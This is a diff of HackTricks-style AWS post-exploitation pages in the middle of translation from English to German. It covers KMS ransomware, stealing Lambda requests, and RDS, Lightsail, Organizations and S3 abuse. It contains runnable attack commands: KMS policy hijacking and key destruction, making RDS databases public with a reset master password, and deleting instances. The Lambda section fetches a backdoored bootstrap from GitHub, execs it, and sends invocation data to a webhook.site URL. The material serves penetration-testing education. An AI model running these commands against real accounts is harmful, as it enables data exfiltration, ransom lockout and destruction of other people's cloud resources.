||||
}
|
||||
```
|
||||
Wenn ein S3-Bucket als Principal angegeben ist, da S3-Buckets keine Kontonummer haben, wenn Sie **Ihren Bucket gelöscht haben und der Angreifer ihn in seinem eigenen Konto erstellt hat**, könnte er dies ausnutzen.
|
||||
|
||||
If an S3 bucket is given as a principal, because S3 buckets do not have an Account ID, if you **deleted your bucket and the attacker created** it in their own account, then they could abuse this.
|
||||
|
||||
#### Not supported
|
||||
|
||||
#### Nicht unterstützt
|
||||
```json
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": { "Service": "cloudtrail.amazonaws.com" },
|
||||
"Action": "s3:PutObject",
|
||||
"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*"
|
||||
"Effect": "Allow",
|
||||
"Principal": { "Service": "cloudtrail.amazonaws.com" },
|
||||
"Action": "s3:PutObject",
|
||||
"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*"
|
||||
}
|
||||
```
|
||||
|
||||
A common way to avoid Confused Deputy problems is the use of a condition with `AWS:SourceArn` to check the origin ARN. However, **some services might not support that** (like CloudTrail according to some sources).
|
||||
Ein gängiger Weg, um Probleme mit verwirrten Stellvertretern zu vermeiden, ist die Verwendung einer Bedingung mit `AWS:SourceArn`, um die Ursprungs-ARN zu überprüfen. Allerdings **unterstützen einige Dienste das möglicherweise nicht** (wie CloudTrail laut einigen Quellen).
|
||||
|
||||
## References
|
||||
|
||||
- [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,134 +4,122 @@
|
||||
|
||||
## KMS
|
||||
|
||||
For more information check:
|
||||
Für weitere Informationen siehe:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-kms-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Encrypt/Decrypt information
|
||||
### Informationen verschlüsseln/entschlüsseln
|
||||
|
||||
`fileb://` and `file://` are URI schemes used in AWS CLI commands to specify the path to local files:
|
||||
`fileb://` und `file://` sind URI-Schemata, die in AWS CLI-Befehlen verwendet werden, um den Pfad zu lokalen Dateien anzugeben:
|
||||
|
||||
- `fileb://:` Reads the file in binary mode, commonly used for non-text files.
|
||||
- `file://:` Reads the file in text mode, typically used for plain text files, scripts, or JSON that doesn't have special encoding requirements.
|
||||
- `fileb://:` Liest die Datei im Binärmodus, häufig verwendet für Nicht-Textdateien.
|
||||
- `file://:` Liest die Datei im Textmodus, typischerweise verwendet für Klartextdateien, Skripte oder JSON, das keine speziellen Kodierungsanforderungen hat.
|
||||
|
||||
> [!TIP]
|
||||
> Note that if you want to decrypt some data inside a file, the file must contain the binary data, not base64 encoded data. (fileb://)
|
||||
|
||||
- Using a **symmetric** key
|
||||
> Beachten Sie, dass die Datei, wenn Sie einige Daten in einer Datei entschlüsseln möchten, die binären Daten enthalten muss, nicht base64-kodierte Daten. (fileb://)
|
||||
|
||||
- Verwendung eines **symmetrischen** Schlüssels
|
||||
```bash
|
||||
# Encrypt data
|
||||
aws kms encrypt \
|
||||
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
|
||||
--plaintext fileb:///tmp/hello.txt \
|
||||
--output text \
|
||||
--query CiphertextBlob | base64 \
|
||||
--decode > ExampleEncryptedFile
|
||||
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
|
||||
--plaintext fileb:///tmp/hello.txt \
|
||||
--output text \
|
||||
--query CiphertextBlob | base64 \
|
||||
--decode > ExampleEncryptedFile
|
||||
|
||||
# Decrypt data
|
||||
aws kms decrypt \
|
||||
--ciphertext-blob fileb://ExampleEncryptedFile \
|
||||
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
|
||||
--output text \
|
||||
--query Plaintext | base64 \
|
||||
--decode
|
||||
--ciphertext-blob fileb://ExampleEncryptedFile \
|
||||
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
|
||||
--output text \
|
||||
--query Plaintext | base64 \
|
||||
--decode
|
||||
```
|
||||
|
||||
- Using a **asymmetric** key:
|
||||
|
||||
- Verwendung eines **asymmetrischen** Schlüssels:
|
||||
```bash
|
||||
# Encrypt data
|
||||
aws kms encrypt \
|
||||
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
|
||||
--encryption-algorithm RSAES_OAEP_SHA_256 \
|
||||
--plaintext fileb:///tmp/hello.txt \
|
||||
--output text \
|
||||
--query CiphertextBlob | base64 \
|
||||
--decode > ExampleEncryptedFile
|
||||
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
|
||||
--encryption-algorithm RSAES_OAEP_SHA_256 \
|
||||
--plaintext fileb:///tmp/hello.txt \
|
||||
--output text \
|
||||
--query CiphertextBlob | base64 \
|
||||
--decode > ExampleEncryptedFile
|
||||
|
||||
# Decrypt data
|
||||
aws kms decrypt \
|
||||
--ciphertext-blob fileb://ExampleEncryptedFile \
|
||||
--encryption-algorithm RSAES_OAEP_SHA_256 \
|
||||
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
|
||||
--output text \
|
||||
--query Plaintext | base64 \
|
||||
--decode
|
||||
--ciphertext-blob fileb://ExampleEncryptedFile \
|
||||
--encryption-algorithm RSAES_OAEP_SHA_256 \
|
||||
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
|
||||
--output text \
|
||||
--query Plaintext | base64 \
|
||||
--decode
|
||||
```
|
||||
|
||||
### KMS Ransomware
|
||||
|
||||
An attacker with privileged access over KMS could modify the KMS policy of keys and **grant his account access over them**, removing the access granted to the legit account.
|
||||
Ein Angreifer mit privilegiertem Zugriff auf KMS könnte die KMS-Richtlinie von Schlüsseln ändern und **seinem Konto Zugriff darauf gewähren**, während der Zugriff, der dem legitimen Konto gewährt wurde, entfernt wird.
|
||||
|
||||
Then, the legit account users won't be able to access any informatcion of any service that has been encrypted with those keys, creating an easy but effective ransomware over the account.
|
||||
Dann können die Benutzer des legitimen Kontos keine Informationen von einem Dienst abrufen, der mit diesen Schlüsseln verschlüsselt wurde, was eine einfache, aber effektive Ransomware über das Konto schafft.
|
||||
|
||||
> [!WARNING]
|
||||
> Note that **AWS managed keys aren't affected** by this attack, only **Customer managed keys**.
|
||||
|
||||
> Also note the need to use the param **`--bypass-policy-lockout-safety-check`** (the lack of this option in the web console makes this attack only possible from the CLI).
|
||||
> Beachten Sie, dass **AWS verwaltete Schlüssel nicht von diesem Angriff betroffen sind**, nur **vom Kunden verwaltete Schlüssel**.
|
||||
|
||||
> Beachten Sie auch die Notwendigkeit, den Parameter **`--bypass-policy-lockout-safety-check`** zu verwenden (das Fehlen dieser Option in der Webkonsole macht diesen Angriff nur über die CLI möglich).
|
||||
```bash
|
||||
# Force policy change
|
||||
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
|
||||
--policy-name default \
|
||||
--policy file:///tmp/policy.yaml \
|
||||
--bypass-policy-lockout-safety-check
|
||||
--policy-name default \
|
||||
--policy file:///tmp/policy.yaml \
|
||||
--bypass-policy-lockout-safety-check
|
||||
|
||||
{
|
||||
"Id": "key-consolepolicy-3",
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "Enable IAM User Permissions",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::<your_own_account>:root"
|
||||
},
|
||||
"Action": "kms:*",
|
||||
"Resource": "*"
|
||||
}
|
||||
]
|
||||
"Id": "key-consolepolicy-3",
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "Enable IAM User Permissions",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::<your_own_account>:root"
|
||||
},
|
||||
"Action": "kms:*",
|
||||
"Resource": "*"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that if you change that policy and only give access to an external account, and then from this external account you try to set a new policy to **give the access back to original account, you won't be able**.
|
||||
> Beachten Sie, dass Sie, wenn Sie diese Richtlinie ändern und nur einem externen Konto Zugriff gewähren, und dann von diesem externen Konto aus versuchen, eine neue Richtlinie festzulegen, um **den Zugriff auf das ursprüngliche Konto zurückzugeben, dies nicht möglich sein wird**.
|
||||
|
||||
<figure><img src="../../../images/image (77).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Generic KMS Ransomware
|
||||
### Generische KMS-Ransomware
|
||||
|
||||
#### Global KMS Ransomware
|
||||
#### Globale KMS-Ransomware
|
||||
|
||||
There is another way to perform a global KMS Ransomware, which would involve the following steps:
|
||||
Es gibt einen weiteren Weg, um eine globale KMS-Ransomware durchzuführen, der die folgenden Schritte umfasst:
|
||||
|
||||
- Create a new **key with a key material** imported by the attacker
|
||||
- **Re-encrypt older data** encrypted with the previous version with the new one.
|
||||
- **Delete the KMS key**
|
||||
- Now only the attacker, who has the original key material could be able to decrypt the encrypted data
|
||||
|
||||
### Destroy keys
|
||||
- Erstellen Sie einen neuen **Schlüssel mit einem vom Angreifer importierten Schlüsselmaterial**
|
||||
- **Re-verschlüsseln Sie ältere Daten**, die mit der vorherigen Version verschlüsselt wurden, mit der neuen.
|
||||
- **Löschen Sie den KMS-Schlüssel**
|
||||
- Jetzt könnte nur der Angreifer, der das ursprüngliche Schlüsselmaterial hat, in der Lage sein, die verschlüsselten Daten zu entschlüsseln
|
||||
|
||||
### Schlüssel zerstören
|
||||
```bash
|
||||
# Destoy they key material previously imported making the key useless
|
||||
aws kms delete-imported-key-material --key-id 1234abcd-12ab-34cd-56ef-1234567890ab
|
||||
|
||||
# Schedule the destoy of a key (min wait time is 7 days)
|
||||
aws kms schedule-key-deletion \
|
||||
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
|
||||
--pending-window-in-days 7
|
||||
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
|
||||
--pending-window-in-days 7
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that AWS now **prevents the previous actions from being performed from a cross account:**
|
||||
> Beachten Sie, dass AWS jetzt **verhindert, dass die vorherigen Aktionen von einem anderen Konto aus durchgeführt werden:**
|
||||
|
||||
<figure><img src="../../../images/image (76).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,30 +4,26 @@
|
||||
|
||||
## Lambda
|
||||
|
||||
For more information check:
|
||||
Für weitere Informationen siehe:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-lambda-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Steal Others Lambda URL Requests
|
||||
### Stehlen von anderen Lambda-URL-Anfragen
|
||||
|
||||
If an attacker somehow manage to get RCE inside a Lambda he will be able to steal other users HTTP requests to the lambda. If the requests contain sensitive information (cookies, credentials...) he will be able to steal them.
|
||||
Wenn es einem Angreifer gelingt, RCE innerhalb einer Lambda zu erlangen, kann er die HTTP-Anfragen anderer Benutzer an die Lambda stehlen. Wenn die Anfragen sensible Informationen (Cookies, Anmeldeinformationen...) enthalten, kann er diese stehlen.
|
||||
|
||||
{{#ref}}
|
||||
aws-warm-lambda-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### Steal Others Lambda URL Requests & Extensions Requests
|
||||
### Stehlen von anderen Lambda-URL-Anfragen & Erweiterungsanfragen
|
||||
|
||||
Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests.
|
||||
Durch den Missbrauch von Lambda Layers ist es auch möglich, Erweiterungen zu missbrauchen und in der Lambda persistent zu bleiben, aber auch Anfragen zu stehlen und zu modifizieren.
|
||||
|
||||
{{#ref}}
|
||||
../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,42 +1,41 @@
|
||||
# AWS - Steal Lambda Requests
|
||||
# AWS - Lambda-Anfragen stehlen
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Lambda Flow
|
||||
## Lambda-Flow
|
||||
|
||||
<figure><img src="../../../../images/image (341).png" alt=""><figcaption><p><a href="https://unit42.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_2_arch.png">https://unit42.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_2_arch.png</a></p></figcaption></figure>
|
||||
|
||||
1. **Slicer** is a process outside the container that **send** **invocations** to the **init** process.
|
||||
2. The init process listens on port **9001** exposing some interesting endpoints:
|
||||
- **`/2018-06-01/runtime/invocation/next`** – get the next invocation event
|
||||
- **`/2018-06-01/runtime/invocation/{invoke-id}/response`** – return the handler response for the invoke
|
||||
- **`/2018-06-01/runtime/invocation/{invoke-id}/error`** – return an execution error
|
||||
3. **bootstrap.py** has a loop getting invocations from the init process and calls the users code to handle them (**`/next`**).
|
||||
4. Finally, **bootstrap.py** sends to init the **response**
|
||||
1. **Slicer** ist ein Prozess außerhalb des Containers, der **Aufrufe** an den **Init**-Prozess **sendet**.
|
||||
2. Der Init-Prozess hört auf Port **9001** und bietet einige interessante Endpunkte an:
|
||||
- **`/2018-06-01/runtime/invocation/next`** – den nächsten Aufrufereignis abrufen
|
||||
- **`/2018-06-01/runtime/invocation/{invoke-id}/response`** – die Handler-Antwort für den Aufruf zurückgeben
|
||||
- **`/2018-06-01/runtime/invocation/{invoke-id}/error`** – einen Ausführungsfehler zurückgeben
|
||||
3. **bootstrap.py** hat eine Schleife, die Aufrufe vom Init-Prozess abruft und den Benutzer-Code aufruft, um sie zu verarbeiten (**`/next`**).
|
||||
4. Schließlich sendet **bootstrap.py** die **Antwort** an Init.
|
||||
|
||||
Note that bootstrap loads the user code as a module, so any code execution performed by the users code is actually happening in this process.
|
||||
Beachten Sie, dass bootstrap den Benutzer-Code als Modul lädt, sodass jede Codeausführung, die vom Benutzer-Code durchgeführt wird, tatsächlich in diesem Prozess stattfindet.
|
||||
|
||||
## Stealing Lambda Requests
|
||||
## Stehlen von Lambda-Anfragen
|
||||
|
||||
The goal of this attack is to make the users code execute a malicious **`bootstrap.py`** process inside the **`bootstrap.py`** process that handle the vulnerable request. This way, the **malicious bootstrap** process will start **talking with the init process** to handle the requests while the **legit** bootstrap is **trapped** running the malicious one, so it won't ask for requests to the init process.
|
||||
Das Ziel dieses Angriffs ist es, den Benutzer-Code dazu zu bringen, einen bösartigen **`bootstrap.py`**-Prozess innerhalb des **`bootstrap.py`**-Prozesses auszuführen, der die verwundbare Anfrage verarbeitet. Auf diese Weise wird der **bösartige Bootstrap**-Prozess beginnen, mit dem Init-Prozess zu **kommunizieren**, um die Anfragen zu bearbeiten, während der **legitime** Bootstrap **gefangen** ist und den bösartigen ausführt, sodass er keine Anfragen an den Init-Prozess stellt.
|
||||
|
||||
This is a simple task to achieve as the code of the user is being executed by the legit **`bootstrap.py`** process. So the attacker could:
|
||||
Dies ist eine einfache Aufgabe, da der Code des Benutzers vom legitimen **`bootstrap.py`**-Prozess ausgeführt wird. Der Angreifer könnte also:
|
||||
|
||||
- **Send a fake result of the current invocation to the init process**, so init thinks the bootstrap process is waiting for more invocations.
|
||||
- A request must be sent to **`/${invoke-id}/response`**
|
||||
- The invoke-id can be obtained from the stack of the legit **`bootstrap.py`** process using the [**inspect**](https://docs.python.org/3/library/inspect.html) python module (as [proposed here](https://github.com/twistlock/lambda-persistency-poc/blob/master/poc/switch_runtime.py)) or just requesting it again to **`/2018-06-01/runtime/invocation/next`** (as [proposed here](https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py)).
|
||||
- Execute a malicious **`boostrap.py`** which will handle the next invocations
|
||||
- For stealthiness purposes it's possible to send the lambda invocations parameters to an attackers controlled C2 and then handle the requests as usual.
|
||||
- For this attack, it's enough to get the original code of **`bootstrap.py`** from the system or [**github**](https://github.com/aws/aws-lambda-python-runtime-interface-client/blob/main/awslambdaric/bootstrap.py), add the malicious code and run it from the current lambda invocation.
|
||||
- **Ein gefälschtes Ergebnis des aktuellen Aufrufs an den Init-Prozess senden**, sodass Init denkt, der Bootstrap-Prozess wartet auf weitere Aufrufe.
|
||||
- Eine Anfrage muss an **`/${invoke-id}/response`** gesendet werden.
|
||||
- Die invoke-id kann vom Stack des legitimen **`bootstrap.py`**-Prozesses mit dem [**inspect**](https://docs.python.org/3/library/inspect.html) Python-Modul (wie [hier vorgeschlagen](https://github.com/twistlock/lambda-persistency-poc/blob/master/poc/switch_runtime.py)) oder einfach erneut an **`/2018-06-01/runtime/invocation/next`** angefordert werden (wie [hier vorgeschlagen](https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py)).
|
||||
- Einen bösartigen **`bootstrap.py`** ausführen, der die nächsten Aufrufe verarbeitet.
|
||||
- Aus Gründen der Heimlichkeit ist es möglich, die Lambda-Aufrufparameter an ein vom Angreifer kontrolliertes C2 zu senden und die Anfragen dann wie gewohnt zu bearbeiten.
|
||||
- Für diesen Angriff reicht es aus, den ursprünglichen Code von **`bootstrap.py`** vom System oder [**github**](https://github.com/aws/aws-lambda-python-runtime-interface-client/blob/main/awslambdaric/bootstrap.py) zu erhalten, den bösartigen Code hinzuzufügen und ihn aus dem aktuellen Lambda-Aufruf auszuführen.
|
||||
|
||||
### Attack Steps
|
||||
### Angriffs Schritte
|
||||
|
||||
1. Find a **RCE** vulnerability.
|
||||
2. Generate a **malicious** **bootstrap** (e.g. [https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py](https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py))
|
||||
3. **Execute** the malicious bootstrap.
|
||||
|
||||
You can easily perform these actions running:
|
||||
1. Eine **RCE**-Schwachstelle finden.
|
||||
2. Einen **bösartigen** **Bootstrap** generieren (z.B. [https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py](https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py))
|
||||
3. **Führen** Sie den bösartigen Bootstrap aus.
|
||||
|
||||
Sie können diese Aktionen einfach ausführen, indem Sie:
|
||||
```bash
|
||||
python3 <<EOF
|
||||
import os
|
||||
@@ -53,15 +52,10 @@ os.environ['URL_EXFIL'] = "https://webhook.site/c7036f43-ce42-442f-99a6-8ab21402
|
||||
exec(new_runtime)
|
||||
EOF
|
||||
```
|
||||
Für weitere Informationen siehe [https://github.com/carlospolop/lambda_bootstrap_switcher](https://github.com/carlospolop/lambda_bootstrap_switcher)
|
||||
|
||||
For more info check [https://github.com/carlospolop/lambda_bootstrap_switcher](https://github.com/carlospolop/lambda_bootstrap_switcher)
|
||||
|
||||
## References
|
||||
## Referenzen
|
||||
|
||||
- [https://unit42.paloaltonetworks.com/gaining-persistency-vulnerable-lambdas/](https://unit42.paloaltonetworks.com/gaining-persistency-vulnerable-lambdas/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,31 +4,27 @@
|
||||
|
||||
## Lightsail
|
||||
|
||||
For more information, check:
|
||||
Für weitere Informationen, siehe:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-lightsail-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Restore old DB snapshots
|
||||
### Alte DB-Snapshots wiederherstellen
|
||||
|
||||
If the DB is having snapshots, you might be able to **find sensitive information currently deleted in old snapshots**. **Restore** the snapshot in a **new database** and check it.
|
||||
Wenn die DB Snapshots hat, könnten Sie in der Lage sein, **sensible Informationen zu finden, die derzeit in alten Snapshots gelöscht sind**. **Stellen Sie** den Snapshot in einer **neuen Datenbank** wieder her und überprüfen Sie ihn.
|
||||
|
||||
### Restore Instance Snapshots
|
||||
### Instanz-Snapshots wiederherstellen
|
||||
|
||||
Instance snapshots might contain **sensitive information** of already deleted instances or sensitive info that is deleted in the current instance. **Create new instances from the snapshots** and check them.\
|
||||
Or **export the snapshot to an AMI in EC2** and follow the steps of a typical EC2 instance.
|
||||
Instanz-Snapshots könnten **sensible Informationen** von bereits gelöschten Instanzen oder sensible Informationen, die in der aktuellen Instanz gelöscht wurden, enthalten. **Erstellen Sie neue Instanzen aus den Snapshots** und überprüfen Sie diese.\
|
||||
Oder **exportieren Sie den Snapshot zu einem AMI in EC2** und folgen Sie den Schritten einer typischen EC2-Instanz.
|
||||
|
||||
### Access Sensitive Information
|
||||
### Zugriff auf sensible Informationen
|
||||
|
||||
Check out the Lightsail privesc options to learn different ways to access potential sensitive information:
|
||||
Überprüfen Sie die Lightsail privesc-Optionen, um verschiedene Möglichkeiten zu lernen, um auf potenziell sensible Informationen zuzugreifen:
|
||||
|
||||
{{#ref}}
|
||||
../aws-privilege-escalation/aws-lightsail-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,22 +2,16 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Organizations
|
||||
## Organisationen
|
||||
|
||||
For more info about AWS Organizations check:
|
||||
Für weitere Informationen zu AWS-Organisationen siehe:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-organizations-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Leave the Org
|
||||
|
||||
### Verlasse die Organisation
|
||||
```bash
|
||||
aws organizations deregister-account --account-id <account_id> --region <region>
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## RDS
|
||||
|
||||
For more information check:
|
||||
Für weitere Informationen siehe:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-relational-database-rds-enum.md
|
||||
@@ -12,40 +12,37 @@ For more information check:
|
||||
|
||||
### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
|
||||
|
||||
If the attacker has enough permissions, he could make a **DB publicly accessible** by creating a snapshot of the DB, and then a publicly accessible DB from the snapshot.
|
||||
|
||||
Wenn der Angreifer genügend Berechtigungen hat, könnte er eine **DB öffentlich zugänglich** machen, indem er einen Snapshot der DB erstellt und dann eine öffentlich zugängliche DB aus dem Snapshot erstellt.
|
||||
```bash
|
||||
aws rds describe-db-instances # Get DB identifier
|
||||
|
||||
aws rds create-db-snapshot \
|
||||
--db-instance-identifier <db-id> \
|
||||
--db-snapshot-identifier cloudgoat
|
||||
--db-instance-identifier <db-id> \
|
||||
--db-snapshot-identifier cloudgoat
|
||||
|
||||
# Get subnet groups & security groups
|
||||
aws rds describe-db-subnet-groups
|
||||
aws ec2 describe-security-groups
|
||||
|
||||
aws rds restore-db-instance-from-db-snapshot \
|
||||
--db-instance-identifier "new-db-not-malicious" \
|
||||
--db-snapshot-identifier <scapshotId> \
|
||||
--db-subnet-group-name <db subnet group> \
|
||||
--publicly-accessible \
|
||||
--vpc-security-group-ids <ec2-security group>
|
||||
--db-instance-identifier "new-db-not-malicious" \
|
||||
--db-snapshot-identifier <scapshotId> \
|
||||
--db-subnet-group-name <db subnet group> \
|
||||
--publicly-accessible \
|
||||
--vpc-security-group-ids <ec2-security group>
|
||||
|
||||
aws rds modify-db-instance \
|
||||
--db-instance-identifier "new-db-not-malicious" \
|
||||
--master-user-password 'Llaody2f6.123' \
|
||||
--apply-immediately
|
||||
--db-instance-identifier "new-db-not-malicious" \
|
||||
--master-user-password 'Llaody2f6.123' \
|
||||
--apply-immediately
|
||||
|
||||
# Connect to the new DB after a few mins
|
||||
```
|
||||
|
||||
### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
|
||||
|
||||
An attacker with these permissions could **create an snapshot of a DB** and make it **publicly** **available**. Then, he could just create in his own account a DB from that snapshot.
|
||||
|
||||
If the attacker **doesn't have the `rds:CreateDBSnapshot`**, he still could make **other** created snapshots **public**.
|
||||
Ein Angreifer mit diesen Berechtigungen könnte **ein Snapshot einer DB erstellen** und ihn **öffentlich** **verfügbar** machen. Dann könnte er einfach in seinem eigenen Konto eine DB aus diesem Snapshot erstellen.
|
||||
|
||||
Wenn der Angreifer **nicht die `rds:CreateDBSnapshot`** hat, könnte er dennoch **andere** erstellte Snapshots **öffentlich** machen.
|
||||
```bash
|
||||
# create snapshot
|
||||
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
|
||||
@@ -54,43 +51,32 @@ aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --d
|
||||
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
|
||||
## Specify account IDs instead of "all" to give access only to a specific account: --values-to-add {"111122223333","444455556666"}
|
||||
```
|
||||
|
||||
### `rds:DownloadDBLogFilePortion`
|
||||
|
||||
An attacker with the `rds:DownloadDBLogFilePortion` permission can **download portions of an RDS instance's log files**. If sensitive data or access credentials are accidentally logged, the attacker could potentially use this information to escalate their privileges or perform unauthorized actions.
|
||||
|
||||
Ein Angreifer mit der Berechtigung `rds:DownloadDBLogFilePortion` kann **Teile der Protokolldateien einer RDS-Instanz herunterladen**. Wenn sensible Daten oder Zugangsdaten versehentlich protokolliert werden, könnte der Angreifer diese Informationen potenziell nutzen, um seine Berechtigungen zu eskalieren oder unbefugte Aktionen durchzuführen.
|
||||
```bash
|
||||
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
|
||||
```
|
||||
|
||||
**Potential Impact**: Access to sensitive information or unauthorized actions using leaked credentials.
|
||||
**Potenzielle Auswirkungen**: Zugriff auf sensible Informationen oder unbefugte Aktionen mit Hilfe von geleakten Anmeldeinformationen.
|
||||
|
||||
### `rds:DeleteDBInstance`
|
||||
|
||||
An attacker with these permissions can **DoS existing RDS instances**.
|
||||
|
||||
Ein Angreifer mit diesen Berechtigungen kann **bestehende RDS-Instanzen DoS**.
|
||||
```bash
|
||||
# Delete
|
||||
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
|
||||
```
|
||||
|
||||
**Potential impact**: Deletion of existing RDS instances, and potential loss of data.
|
||||
**Potenzielle Auswirkungen**: Löschung vorhandener RDS-Instanzen und potenzieller Datenverlust.
|
||||
|
||||
### `rds:StartExportTask`
|
||||
|
||||
> [!NOTE]
|
||||
> [!HINWEIS]
|
||||
> TODO: Test
|
||||
|
||||
An attacker with this permission can **export an RDS instance snapshot to an S3 bucket**. If the attacker has control over the destination S3 bucket, they can potentially access sensitive data within the exported snapshot.
|
||||
|
||||
Ein Angreifer mit dieser Berechtigung kann **einen RDS-Instanz-Snapshot in einen S3-Bucket exportieren**. Wenn der Angreifer die Kontrolle über den Ziel-S3-Bucket hat, kann er potenziell auf sensible Daten im exportierten Snapshot zugreifen.
|
||||
```bash
|
||||
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
|
||||
```
|
||||
|
||||
**Potential impact**: Access to sensitive data in the exported snapshot.
|
||||
**Potenzielle Auswirkungen**: Zugriff auf sensible Daten im exportierten Snapshot.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,39 +4,35 @@
|
||||
|
||||
## S3
|
||||
|
||||
For more information check:
|
||||
Für weitere Informationen siehe:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-s3-athena-and-glacier-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Sensitive Information
|
||||
### Sensible Informationen
|
||||
|
||||
Sometimes you will be able to find sensitive information in readable in the buckets. For example, terraform state secrets.
|
||||
Manchmal können Sie sensible Informationen in lesbarer Form in den Buckets finden. Zum Beispiel Terraform-Zustandsgeheimnisse.
|
||||
|
||||
### Pivoting
|
||||
|
||||
Different platforms could be using S3 to store sensitive assets.\
|
||||
For example, **airflow** could be storing **DAGs** **code** in there, or **web pages** could be directly served from S3. An attacker with write permissions could **modify the code** from the bucket to **pivot** to other platforms, or **takeover accounts** modifying JS files.
|
||||
Verschiedene Plattformen könnten S3 verwenden, um sensible Assets zu speichern.\
|
||||
Zum Beispiel könnte **airflow** **DAGs** **Code** dort speichern, oder **Webseiten** könnten direkt von S3 bereitgestellt werden. Ein Angreifer mit Schreibberechtigungen könnte den **Code** aus dem Bucket **modifizieren**, um zu anderen Plattformen zu **pivotieren** oder **Konten zu übernehmen**, indem er JS-Dateien ändert.
|
||||
|
||||
### S3 Ransomware
|
||||
|
||||
In this scenario, the **attacker creates a KMS (Key Management Service) key in their own AWS account** or another compromised account. They then make this **key accessible to anyone in the world**, allowing any AWS user, role, or account to encrypt objects using this key. However, the objects cannot be decrypted.
|
||||
